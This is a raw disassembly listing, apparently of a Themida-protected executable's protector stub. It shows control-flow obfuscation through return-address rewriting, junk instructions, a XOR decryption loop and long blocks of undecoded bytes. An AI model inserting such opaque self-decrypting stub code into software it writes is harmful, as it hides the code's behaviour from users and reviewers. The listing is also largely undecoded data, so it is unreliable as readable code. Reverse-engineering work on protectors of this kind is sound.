loc_550597: ; CODE XREF: Themida_:00550415j
cmp eax, 2
jnz loc_55067E
push 0
push edi
call sub_5505AB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5505AB proc near ; CODE XREF: Themida_:005505A3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5505AB endp
; ---------------------------------------------------------------------------
db 44h
dd 2AFE02h, 0D262860Ch, 4BDB8166h, 0B8D5h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 410747C3h, 39668698h, 336D958Bh, 0C00B06A8h, 60840Fh
dd 8E90000h, 95000000h, 0E2212C4Ch, 83DC1662h, 840F01F8h
dd 0FFFFFF43h, 8E857h, 68370000h, 0F74023FBh, 61601285h
dd 0F8835B5Bh, 0CD840F03h, 89FFFFFEh, 0A80CC59Dh, 89C02B06h
dd 0A807ED85h, 0E0BD8D06h, 66005B89h, 5AA5DB81h, 0F60E7FFh
dd 683h, 79BD8B00h, 6106A809h, 2F519589h, 0BD8D06A8h, 6A847CEh
dd 10BD9D89h, 4EE906A8h, 0E9000001h, 0Ah, 2C4B2726h, 0A75B3616h
db 57h, 20h
; ---------------------------------------------------------------------------
loc_55067E: ; CODE XREF: Themida_:0055059Aj
cmp eax, 3
jnz loc_5506E8
push 0
push eax
call sub_550692
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550692 proc near ; CODE XREF: Themida_:0055068Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_550692 endp
; ---------------------------------------------------------------------------
dec ebx
fbstp tbyte ptr [ecx-6Eh]
xor [ecx-57F83673h], ecx
push es
push edi
push ecx
mov [ebp+6A819F9h], edi
pop edx
pop ebx
lea edi, [ebp+6A84962h]
movsx ebx, bx
jmp loc_5507BD
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5506D0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5506D0 proc near ; CODE XREF: Themida_:005506C8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5506D0 endp
; ---------------------------------------------------------------------------
push 4
mov [ebp+6A8165Dh], edi
loc_5506E8: ; CODE XREF: Themida_:00550681j
cmp eax, 5
jnz loc_550721
push 0
push eax
call sub_5506FC
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5506FC proc near ; CODE XREF: Themida_:005506F4p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5506FC endp
; ---------------------------------------------------------------------------
dd 940550F2h
db 8Bh, 9Dh
; ---------------------------------------------------------------------------
loc_550712: ; CODE XREF: Themida_:00550769j
xchg eax, ebp
xor [eax+774E906h], ch
; ---------------------------------------------------------------------------
db 2 dup(0), 8Bh
dd 0A8094D95h
; ---------------------------------------------------------------------------
push es
loc_550721: ; CODE XREF: Themida_:005506EBj
cmp eax, 6
jnz loc_55074E
sbb dl, 0DBh
mov [ebp+6A8161Dh], edi
lea edi, [ebp+6A84B5Ah]
mov ebx, ecx
mov bh, 0B3h
jmp loc_5507BD
; ---------------------------------------------------------------------------
js loc_55074E
adc ebx, 70E7AB6Ch
loc_55074E: ; CODE XREF: Themida_:00550724j
; Themida_:00550742j
cmp eax, 7
jnz loc_550783
jb loc_550775
call sub_550771
xchg ecx, [eax-1]
cwde
in al, 0EAh
xchg eax, esp
jg short loc_550712
dec ebx
lodsb
popa
dec ebx
xchg eax, esi
cdq
; =============== S U B R O U T I N E =======================================
sub_550771 proc near ; CODE XREF: Themida_:0055075Dp
; FUNCTION CHUNK AT 00550845 SIZE 00000019 BYTES
movsx edx, si
pop edx
loc_550775: ; CODE XREF: Themida_:00550757j
lea edi, [ebp+6A822DDh]
mov ebx, ecx
jmp loc_550845
sub_550771 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
clc
loc_550783: ; CODE XREF: Themida_:00550751j
cmp eax, 0Ah
jnz loc_5507BD
movzx edx, bx
lea edi, [ebp+6A84D52h]
jmp loc_5507A5
; ---------------------------------------------------------------------------
dw 0B092h
dd 8370F458h, 73B43AC8h
db 2Ah
; ---------------------------------------------------------------------------
loc_5507A5: ; CODE XREF: Themida_:00550795j
jmp loc_5507BD
; ---------------------------------------------------------------------------
pusha
jl loc_5507B3
mov esi, ecx
loc_5507B3: ; CODE XREF: Themida_:005507ABj
jnp loc_5507BC
adc dh, 9Dh
loc_5507BC: ; CODE XREF: Themida_:loc_5507B3j
popa
loc_5507BD: ; CODE XREF: Themida_:0055054Cj
; Themida_:005506C0j ...
push edi
jmp loc_5507C8
; ---------------------------------------------------------------------------
db 82h
; ---------------------------------------------------------------------------
add byte ptr [edi-77h], 0Ch
loc_5507C8: ; CODE XREF: Themida_:005507BEj
mov ecx, 2F40254Ch
jmp loc_5507E0
; ---------------------------------------------------------------------------
dw 0DA93h
dd 2B9A2CCFh, 88B99944h, 46BB64E9h
; ---------------------------------------------------------------------------
loc_5507E0: ; CODE XREF: Themida_:005507CDj
cmp dword ptr [edi], 0
jz loc_55083B
push 0
push ecx
call sub_5507F4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5507F4 proc near ; CODE XREF: Themida_:005507ECp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5507F4 endp
; ---------------------------------------------------------------------------
dd 547F0BFFh, 8B66141Bh, 0F0F30D8h, 0FE9D3B7h, 74000000h
dd 0A6F3BA9Bh, 0D71C02Bh, 46716B6Eh, 0C9D15816h, 32A59D8Bh
dd 574706A8h, 0A9E95AFCh, 66FFFFFFh
db 0BAh, 74h, 90h
; ---------------------------------------------------------------------------
loc_55083B: ; CODE XREF: Themida_:005507E3j
pop edi
sbb bh, 3Dh
mov [ebp+6A833A1h], ebx
; START OF FUNCTION CHUNK FOR sub_550771
loc_550845: ; CODE XREF: sub_550771+Cj
mov [ebp+6A84F4Eh], edi
mov bl, 0C3h
lea ecx, [ebp+6A826D1h]
push 0
push ecx
call sub_55085E
and [ecx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_550771
; =============== S U B R O U T I N E =======================================
sub_55085E proc near ; CODE XREF: sub_550771+E5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_55085E endp
; ---------------------------------------------------------------------------
dw 0D58Fh
dd 8D755E19h, 0F81545DBh, 81B5FFh, 0BD0906A8h, 6A82571h
dd 9B7C858Dh, 8D5006AAh, 0A8566CBDh, 918D8D06h, 0B806A86Eh
dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 6A86E2Eh
dd 6EA98D8Dh, 0CF2B06A8h, 0C933A4F3h, 0B8h, 74C00B00h
dd 41BD8346h, 6A825h, 95FF0674h, 6A81ADDh, 4F4EB58Bh, 858D06A8h
dd 6AA9B7Ch, 858DD0FFh, 6A843ABh, 85C7D0FFh, 6A81599h
dd 1, 3469A58Bh, 0B58B06A8h, 6A832BDh, 225DAD8Bh, 0C03306A8h
dd 60000CC2h, 23D2D080h, 0A8340585h, 8F0F6106h, 2, 0BD83C1B7h
dd 6A81BFDh, 10840F00h, 0BA000000h, 493F2183h, 1B4D95FFh
dd 816606A8h, 839124C2h, 0A81FE5BDh, 850F0006h, 1BCh, 8369EE80h
dd 0A8339DBDh, 850F0106h, 1ACh, 93D958Bh, 0BD8306A8h, 6A8162Dh
dd 99840F00h, 0F000001h, 0BD83DBB7h, 6A84FA1h, 89840F00h
dd 81000001h, 94F3ADCAh, 7C858D47h, 6606AA9Bh, 8B55B9BBh
dd 0A84F4EB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 9796D125h, 0F2C38166h
dd 6AD0FF54h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 3C6CC353h, 6DCE6A5Fh, 840F131Ah
dd 2, 85C6FD8Ah, 6A815D5h, 0D6BF0F54h, 0A23FB468h, 0E85250E4h
dd 0Dh, 0B4FE0463h, 462A6C97h, 6EBA3CD9h, 0CE9DAh, 0A2AD0000h
dd 26E484CFh, 40AA2950h, 0F5A2974h, 8832BB31h, 585A6F07h
dd 40240481h, 6A1AAC7Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 5EC4C353h, 2D31D8BAh
dd 0E98E6DFAh, 0Bh, 6AFBC1A9h, 0D4A3E132h, 66A58629h, 7B59C281h
dd 31F9B5FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0AA9200C3h, 0BA16A8DBh, 1E2D958Bh
dd 858D06A8h, 6A83AC3h, 19E19531h, 0D0FF06A8h, 3191958Bh
dd 6A06A8h, 68E0Fh, 958B0000h, 6A820E1h, 8D89FF6Ah, 6A817F9h
dd 1B34F0BAh, 80D0FF60h, 0B5FF84C7h, 6A830BDh, 0FE8h, 77191C00h
dd 67AF1647h, 0D0BFF893h, 0A76ABEDBh, 0CE9h, 0B3B0D300h
dd 986F29DFh, 7FD7CE34h, 95FF5B80h, 6A80081h, 0BE9h, 0A2B8000h
dd 267DACA7h, 9400E2DFh, 4F4EB58Bh, 13E906A8h, 0FA000000h
dd 1E008CD0h, 4E49E0A7h, 0CFF130E3h, 12217CDDh, 80C35492h
dd 8C0F78DEh, 5, 87CB8166h, 19B58B58h, 8006A80Dh, 0F60B5BEAh
dd 3D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 5EBB1CC3h, 258A1867h, 0E5BB24D2h
dd 0C635EE8Fh, 0E2800006h, 9D896047h, 6A82165h, 999531h
dd 896106A8h, 0A84F5685h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 520F86A3h
dd 978CD528h, 0DE95814h, 0FE000000h, 77B20230h, 7F8ACA36h
dd 13C4339Dh, 1FE1958Bh, 0F88306A8h, 4D840F00h, 0E8000003h
dd 0Ch, 4CF07563h, 257305B9h, 0E0204261h, 2F359D8Bh, 0B85B06A8h
dd 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_550BEF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550BEF proc near ; CODE XREF: Themida_:00550BE7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_550BEF endp
; ---------------------------------------------------------------------------
db 0AAh
dd 8E934h, 0E1250000h, 966C438Ch, 0F8839A44h, 0C0840F00h
dd 80000000h, 0F8839DDBh, 61850F02h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8D7AC355h, 0A845D185h, 810F5106h, 2, 2D5BD68Bh, 929h
dd 0CE19D8Bh, 665006A8h, 489D88Bh, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BBC3B6DCh
dd 3083827Ah, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 958995E5h, 6A802B1h, 263E9h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 83CE28D5h, 0DBD898Eh, 0B806A811h, 1, 4810Fh
dd 51600000h, 0BD8D615Eh, 6A845D6h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 21C35545h, 2179184Ch, 65310065h
dd 0CF19D8Bh, 0D9E906A8h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CF9EC352h
dd 0AD4039A0h, 8B571085h, 0A82D7995h, 2F88306h, 22850Fh
dd 85890000h, 6A82CADh, 47CEBD8Dh, 9D8B06A8h, 6A806CDh
dd 0E9D2B70Fh, 8Ch, 8D8946B7h, 6A82C79h, 0F03F883h, 2085h
dd 49958B00h, 8D06A827h, 0A84962BDh, 60506006h, 0EE805E61h
dd 61E961ABh, 8B000000h, 0A800399Dh, 5F88306h, 52850Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0F4DE18C3h, 968ACBAEh, 0F5958BBAh, 0E906A829h
dd 0BFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0E8C35646h, 805F722Bh, 0BB5B6ABAh, 254CB957h, 6A2F40h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 9189E2C3h, 90CDD929h, 3F83C59Eh, 68840F00h, 8B000000h
dd 0A82E4195h, 890F3006h, 0A83191BDh, 8D858906h, 0D106A817h
dd 53006AC9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0CA8113FEh, 4F592CC1h, 56006A47h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 68400E4Dh, 0F30216Ah, 0FF94E95Ch, 8053FFFFh, 835BDFF7h
dd 850F05F8h, 7Ch, 0E0EA8166h, 0D98C6677h, 10E9h, 0F4FD1000h
dd 0B8881287h, 2C4FF843h, 50D47C1Ah, 4C1F697h, 42850Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 201C93C3h, 2BCDE2FAh, 0FC3C71A1h, 34F19D8Bh
dd 0B806A8h, 8B000000h, 0A831D99Dh, 1AE906h, 9D0B0000h
dd 6A814B5h, 1995858Bh, 958906A8h, 6A82CDDh, 8589E0FFh
dd 6A83345h
; ---------------------------------------------------------------------------
loc_550F14: ; CODE XREF: Themida_:00550400j
cmp dword ptr [ebp+6A80081h], 0
jnz loc_551041
push 0
push edx
call sub_550F2C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550F2C proc near ; CODE XREF: Themida_:00550F24p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_550F2C endp
; ---------------------------------------------------------------------------
dd 397A66F9h, 8A9379BAh, 9D8B57AEh, 6A80B29h, 0BFBA505Ah
dd 894A34FBh, 8B662404h, 0D585C6D8h, 4506A815h, 32BA6660h
dd 0C0BF0F5Ch, 4E861h, 69690000h, 10E98E72h, 38000000h
dd 736E458Ah, 3B5FD3C4h, 9BDEE982h, 5016BC14h, 2890Fh
dd 2FB60000h, 424448Bh, 13E8h, 65B8BA00h, 10584CE1h, 0FE05F200h
dd 0E6D53ACBh, 14D4E07Ch, 0E8008B5Ah, 7, 897C0528h, 50FF35BBh
dd 850F52h, 0F000000h, 0F525031h, 5A585A31h, 44895A58h
dd 8B660424h, 860F58D8h, 3, 0FFD88B66h, 0A831F9B5h, 859D8B06h
dd 8D06A81Dh, 0A83AC385h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 8956C167h
dd 0A8100985h, 0D0FF5B06h, 0FEDABA66h, 818589h, 11E906A8h
dd 0AB000000h, 5DEA1FE4h, 0D27D8018h, 71F4976Ch, 5D557219h
dd 2840F58h, 8B000000h
; ---------------------------------------------------------------------------
setalc
loc_551041: ; CODE XREF: Themida_:00550F1Bj
cmp dword ptr [ebp+6A84FA5h], 0
jz loc_55107D
movsx ebx, di
push dword ptr [ebp+6A830BDh]
call sub_55106B
retn
; ---------------------------------------------------------------------------
db 43h, 95h, 4Ch
dd 62E2212Ch, 1C2FDC16h
db 0FCh, 21h, 92h
; =============== S U B R O U T I N E =======================================
sub_55106B proc near ; CODE XREF: Themida_:00551057p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005511AC SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055126D SIZE 00000010 BYTES
and edx, [ebp+6A80BEDh]
pop edx
call dword ptr [ebp+6A80081h]
mov edx, 44FBC38h
loc_55107D: ; CODE XREF: Themida_:00551048j
cmp eax, 0
jnz loc_5511AC
push 0
push esi
call sub_551091
and [esi-3Dh], bl
sub_55106B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_551091 proc near ; CODE XREF: sub_55106B+1Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_551091 endp
; ---------------------------------------------------------------------------
db 83h, 1, 0DBh
dd 69C60D59h, 1890F28h, 0F9000000h, 0F850Fh, 0AE90000h
dd 36000000h, 1B69EBA8h, 0FF0CE72Bh, 8DBD83BCh, 6A819h
dd 8A840Fh, 0F38A0000h, 2EDDBD89h, 0B5FF06A8h, 6A8198Dh
dd 9E9FEB7h, 0A5000000h, 3AF8680Eh, 0CAE478C4h, 1B8h, 0DAB70F00h
dd 0C88B6660h, 178F0Fh, 11E80000h, 20000000h, 2C30881Ah
dd 584D4805h, 2925AB6Bh, 7775915h, 0FBE9615Eh, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 5A7FC357h, 0E3E1F264h, 54EECEEDh, 11E950h
dd 755B0000h, 65AC4F78h, 0B4A270EDh, 0B45E97Bh, 5A8E3C2Dh
dd 30BDB5FFh, 0B70F06A8h, 0BDB5FFDAh, 8A06A830h, 81B5FFF0h
dd 6A06A800h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0B37DC351h, 3609B3FAh, 8166F8E4h
dd 0BB92FDAh, 0A80FC19Dh, 174E906h, 0D3810000h, 20F45597h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55106B
loc_5511AC: ; CODE XREF: sub_55106B+15j
pop edi
mov ebx, [ebp+6A83019h]
cmp dword ptr [ebp+6A8142Dh], 0
jnz loc_55126D
mov edx, 3736DC90h
mov byte ptr [ebp+6A815D5h], 4Dh
mov [ebp+6A829B1h], edi
push 67CF28A4h
pusha
mov si, 8043h
push ebx
mov ax, 0D366h
pop ecx
popa
add [esp+4+var_4], 3C664E04h
push esi
sub [ebp+6A829E1h], eax
pop edx
push dword ptr [ebp+6A80D2Dh]
push 0
push eax
call sub_551203
and [eax-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_55106B
; =============== S U B R O U T I N E =======================================
sub_551203 proc near ; CODE XREF: sub_55106B+190p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_551203 endp
; ---------------------------------------------------------------------------
db 16h
dd 0CE5C9941h, 0E9523B8Fh, 7, 77CA353Ch, 8D841F3Eh, 0A83AC385h
dd 5933BB06h, 0D0FF320Ch, 95895660h, 6A82D09h, 0FA8A605Ah
dd 840Fh, 61610000h, 142D8589h, 6A06A8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EAF73FC3h
db 0E5h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55106B
loc_55126D: ; CODE XREF: sub_55106B+14Fj
mov eax, 0
push 0
push ecx
call sub_55127D
and [ecx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_55106B
; =============== S U B R O U T I N E =======================================
sub_55127D proc near ; CODE XREF: sub_55106B+20Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_55127D endp
; ---------------------------------------------------------------------------
xor eax, 0BB66F5DBh
mov ecx, 4EBD8903h
dec edi
test al, 6
pusha
jnz loc_5512A7
mov [ebp+6A81A39h], ecx
loc_5512A7: ; CODE XREF: Themida_:0055129Bj
push ebx
or eax, 141F7C2Bh
pop edx
popa
sub bx, 3029h
or eax, eax
jz loc_5512D4
xor [ebp+6A81A51h], esi
jmp loc_55131A
; ---------------------------------------------------------------------------
mov [ebp+6A82181h], eax
or ebx, 45A469Dh
loc_5512D4: ; CODE XREF: Themida_:005512B7j
push dword ptr [ebp+6A80081h]
call sub_5512E6
; ---------------------------------------------------------------------------
db 8Fh
dd 3FEFEF1Fh
db 33h, 6Eh
; =============== S U B R O U T I N E =======================================
sub_5512E6 proc near ; CODE XREF: Themida_:005512DAp
mov dx, bx
pop edx
lea eax, [ebp+6AA9B7Ch]
mov bx, 0BF45h
nop
mov ebx, 2DC21DE3h
loc_5512FA: ; CODE XREF: sub_5512E6+26j
push eax
push ecx
jmp loc_551310
; ---------------------------------------------------------------------------
db 0Eh, 0E7h, 0B9h
; ---------------------------------------------------------------------------
fisubr word ptr [ebx]
fcomp st
aas
and ch, [edx+13h]
jg short loc_5512FA
sbb al, 4Bh
loc_551310: ; CODE XREF: sub_5512E6+16j
pop ebx
nop
push edi
mov ebx, [ebp+6A8095Dh]
pop ebx
loc_55131A: ; CODE XREF: Themida_:005512C3j
push eax
push esi
lea edi, [ebp+6A8566Ch]
lea ecx, [ebp+6A87922h]
mov eax, 748323BCh
sub ecx, edi
loc_55132F: ; CODE XREF: sub_5512E6+4Fj
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_55132F
pop esi
pop eax
cmp dword ptr [ebp+6A8198Dh], 0
jz short loc_551348
mov ecx, [ebp+6A80C81h]
loc_551348: ; CODE XREF: sub_5512E6+5Aj
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_5513FF
cmp dword ptr [ebp+6A82541h], 0
jz short loc_551366
call dword ptr [ebp+6A81ADDh]
loc_551366: ; CODE XREF: sub_5512E6+78j
mov eax, 0
or eax, eax
jnz short loc_551378
cmp dword ptr [ebp+6A84F56h], 1
jz short loc_551381
loc_551378: ; CODE XREF: sub_5512E6+87j
cmp dword ptr [ebp+6A84F56h], 2
jnz short loc_55138F
loc_551381: ; CODE XREF: sub_5512E6+90j
mov esi, [ebp+6A84F4Eh]
lea eax, [ebp+6AA9B7Ch]
call eax
loc_55138F: ; CODE XREF: sub_5512E6+99j
cmp dword ptr [ebp+6A81BFDh], 0
jz short loc_55139E
call dword ptr [ebp+6A81B4Dh]
loc_55139E: ; CODE XREF: sub_5512E6+B0j
lea eax, [ebp+6A843ABh]
call eax
cmp dword ptr [ebp+6A80E35h], 2
jnz short loc_5513DE
mov esp, [ebp+6A83469h]
mov eax, [ebp+6A8198Dh]
mov [esp+0], eax
mov dword ptr [ebp+6A81599h], 1
mov esi, [ebp+6A84F52h]
mov ebp, [ebp+6A8225Dh]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_5513DE: ; CODE XREF: sub_5512E6+C7j
mov dword ptr [ebp+6A81599h], 1
mov esp, [ebp+6A83469h]
mov esi, [ebp+6A832BDh]
mov ebp, [ebp+6A8225Dh]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_5513FF: ; CODE XREF: sub_5512E6+6Bj
cmp dword ptr [ebp+6A81BFDh], 0
jz short loc_551417
cmp dword ptr [ebp+6A81B4Dh], 0
jz short loc_551417
call dword ptr [ebp+6A81B4Dh]
loc_551417: ; CODE XREF: sub_5512E6+120j
; sub_5512E6+129j
mov esi, [ebp+6A84F4Eh]
retn
sub_5512E6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jl loc_55142A
and edx, [ebp+6A83529h]
loc_55142A: ; CODE XREF: Themida_:0055141Ej
and ebx, [ebp+6A80659h]
push 0
push ebp
call sub_55143B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55143B proc near ; CODE XREF: Themida_:00551433p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_55143B endp
; ---------------------------------------------------------------------------
mov dl, 0A9h
mov ch, 8Bh
shr byte ptr [ebx], 1
shr byte ptr [edx+0], cl
push edx
call sub_55145D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55145D proc near ; CODE XREF: Themida_:00551455p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_55145D endp
; ---------------------------------------------------------------------------
adc ecx, ebp
mov dh, bh
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_551481
; ---------------------------------------------------------------------------
loc_55147F: ; CODE XREF: Themida_:00551484j
inc eax
inc edi
loc_551481: ; CODE XREF: Themida_:0055147Dj
cmp byte ptr [edi], 0
jnz short loc_55147F
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_5514B0
; ---------------------------------------------------------------------------
loc_55148D: ; CODE XREF: Themida_:005514B2j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_5514A5
; ---------------------------------------------------------------------------
loc_5514A2: ; CODE XREF: Themida_:005514A8j
mul ebx
dec esi
loc_5514A5: ; CODE XREF: Themida_:005514A0j
cmp esi, 0
ja short loc_5514A2
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_5514B0: ; CODE XREF: Themida_:0055148Bj
or eax, eax
jnz short loc_55148D
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
mov [ebp+6A81FDDh], ebx
call sub_5514CE
xchg ebx, [esi+1Bh]
cmpsb
retn
; =============== S U B R O U T I N E =======================================
sub_5514CE proc near ; CODE XREF: Themida_:005514C4p
jge loc_5514DA
mov [ebp+6A83495h], eax
loc_5514DA: ; CODE XREF: sub_5514CEj
pop ebx
jl loc_5514E7
mov edx, [ebp+6A80F25h]
sub_5514CE endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_54DC11
loc_5514E7: ; CODE XREF: sub_54DC11:loc_54E9B6j
; sub_5514CE+Dj
mov eax, ecx
jmp loc_572C5A
; END OF FUNCTION CHUNK FOR sub_54DC11
; ---------------------------------------------------------------------------
dw 0FF6Ch
dd 3F0012h, 84DD025Ch, 5Ch, 280000h, 6A60025Ch, 84DD005Ch
dd 202005Ch, 20000h, 10000h, 20000h, 9A0D0000h, 0F9ACh
dd 4 dup(0)
dd 23430000h, 3FC30055h, 58B70055h, 1C3C0055h, 5EB00055h
dd 0B8870055h, 91250055h, 8DC20055h, 0ADD10055h, 9BE40055h
dd 53C20055h, 0C4D20055h, 814F0055h, 0AC010055h, 0A7C20055h
dd 84940055h, 18C90055h, 7ACF0055h, 0CC3D0055h, 32970055h
dd 0B28F0055h, 9C770055h, 9EFE0055h, 52100055h, 0A49C0055h
dd 0C1590055h, 0CFC60055h, 47830055h, 4D190055h, 0C3D80055h
dd 0AE270055h, 3E6D0055h, 5A0B0055h, 3FF60055h, 1FBD0055h
dd 3E9B0055h, 58BF0055h, 0C9100055h, 55930055h, 0C44D0055h
dd 3B070055h, 42AF0055h, 1E3D0055h, 0C5A30055h, 0A2140055h
dd 484C0055h, 1B4C0055h, 9C880055h, 77750055h, 19E70055h
dd 29E10055h, 6B640055h, 6CA00055h, 0B5830055h, 3F150055h
dd 6AB70055h, 895D0055h, 2E4B0055h, 2F740055h, 21C80055h
dd 2AC60055h, 33560055h, 5E6E0055h, 0C9770055h, 6AFA0055h
dd 0D8A00055h, 54D50055h, 0D4040055h, 67000055h, 391B0055h
dd 58520055h, 43F40055h, 6D540055h, 8F350055h, 25CE0055h
dd 0BAC30055h, 0B26C0055h, 784A0055h, 8D870055h, 257B0055h
dd 34E20055h, 9DCB0055h, 2D320055h, 0D6A60055h, 82800055h
dd 0CFB60055h, 470B0055h, 62E40055h, 66190055h, 0AA120055h
dd 3C170055h, 3C440055h, 0BA6E0055h, 81610055h, 53110055h
dd 55C60055h, 87A90055h, 59980055h, 5DDE0055h, 4F5E0055h
dd 0B70B0055h, 0CBA00055h, 0C6920055h, 2F0C0055h, 587C0055h
dd 31E50055h, 1B720055h, 71760055h, 56C70055h, 36060055h
dd 0C3980055h, 21FB0055h, 0DC570055h, 31210055h, 0D5140055h
dd 0AD940055h, 73E90055h, 0D65A0055h, 1E370055h, 22380055h
dd 0CC2A0055h, 37BE0055h, 9AB70055h, 858F0055h, 48E50055h
dd 0D1840055h, 1C4A0055h, 0A13E0055h, 0B82F0055h, 85AF0055h
dd 612D0055h, 0CD060055h, 57FB0055h, 36600055h, 3A420055h
dd 93820055h, 29AF0055h, 0A47C0055h, 0B4780055h, 0A4030055h
dd 677E0055h, 92040055h, 0DC3E0055h, 0B3610055h, 86620055h
dd 8CEC0055h, 723F0055h, 30C00055h, 79AD0055h, 853E0055h
dd 3F410055h, 19F60055h, 85120055h, 81C80055h, 1AFF0055h
dd 58E70055h, 0C9980055h, 570B0055h, 0B4E50055h, 843D0055h
dd 33CF0055h, 58930055h, 42280055h, 4A4D0055h, 503F0055h
dd 0B7AF0055h, 6DF80055h
db 55h, 0
; ---------------------------------------------------------------------------
loc_5517CE: ; CODE XREF: Themida_:00573536j
; Themida_:0057D146j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6A87DC9h
mov eax, edi
add edi, 6A87AE1h
cmp eax, [edi+2Ch]
jnz short loc_5517EC
jmp short loc_5517FF
; ---------------------------------------------------------------------------
loc_5517EC: ; CODE XREF: Themida_:005517E8j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5517FB
; ---------------------------------------------------------------------------
